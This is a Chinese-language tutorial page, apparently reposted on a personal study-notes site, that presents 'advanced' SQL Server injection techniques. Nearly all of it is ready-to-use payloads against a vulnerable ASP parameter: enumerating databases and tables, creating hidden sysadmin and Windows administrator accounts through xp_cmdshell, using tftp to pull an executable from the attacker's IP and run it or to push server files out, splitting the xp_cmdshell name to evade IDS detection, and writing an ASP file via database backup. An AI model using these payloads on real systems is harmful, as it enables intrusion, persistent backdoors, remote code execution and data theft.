桂林老兵的SQLSERVER高级注入技巧 (摘)_Sql Server_学习笔记★闵涛★计算机学习电脑编程软硬件技巧


	转至繁体中文版	\| 网站首页 \| 图文教程 \| 资源下载 \| 站长博客 \| 图片素材 \| 武汉seo \| 武汉网站优化 \|

桂林老兵的SQLSERVER高级注入技巧 (摘)

作者：闵涛文章来源：闵涛的学习笔记点击数：1103 更新时间：2007/11/14 12:59:29

现在将老兵本人多年的SQLSERVER注入高级技巧奉献给支持老兵的朋友：

前言：
即是高级技巧，其它基本的注入方法就不详述了。
看不懂可查本站的注入基础文章。
为了更好的用好注入，建议大家看看本站的SQL语法相关文章

[获取全部数据库名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库

[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
select top 1 name from 数据库名.dbo.sysobjects where xtype=''''u'''' and status>0 and name not in(''''table'''')

[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
select top 1 数据库名.dbo.col_name(object_id(''''要查询的数据表名''''),字段列如:1) [ where 条件]

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码，则用这句（将test的密码改为123456）
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell ''''net user test test /add'''';-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell ''''net localgroup administrators test /add'''';-- //将系统用户test提升为管理员

这样，你在他的数据库和系统内都留下了test管理员账号了

下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器，将69端口打开]

id=2; exec master.dbo.xp_cmdshell ''''tftp –i 你的IP get file.exe'''';--

然后运行这个文件：
id=2; exec master.dbo.xp_cmdshell ''''file.exe'''';--

下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:

id=2; exec master.dbo.xp_cmdshell ''''tftp –i 你的IP Put file2.doc'''';--

绕过IDS的检测[使用变量]
declare @a sysname set @a=''''xp_''''+''''cmdshell'''' exec @a ''''dir c:\''''
declare @a sysname set @a=''''xp''''+''''_cm''''+''''dshell'''' exec @a ''''dir c:\''''

新加的：

建一个表。只有一个字段，类型为image,将asp内容写入。导出数据库为文件
backup database dbname to disk=''''d:\web\db.asp'''';

报错得到系统操作系统和数据库系统版本号
id=2 and 1<>(select @@VERSION);

[Sql Server]桂林老兵的SQLSERVER高级注入技巧

教程录入：mintao 责任编辑：mintao

上一篇教程： windows下安装Postgresql8.0.1

下一篇教程：桂林老兵的SQLSERVER高级注入技巧

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网]

　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）

同类栏目

· Sql Server  · MySql
· Access  · ORACLE
· SyBase  · 其他

热门推荐

没有教程

赞助链接

闵涛博文

500 - 内部服务器错误。

您查找的资源存在问题，因而无法显示。

鄂公网安备 42011102001154号

站长：MinTao ICP备案号：鄂ICP备11006601号-18

闵涛站盟:医药大全-武穴网。A打造B、C、D……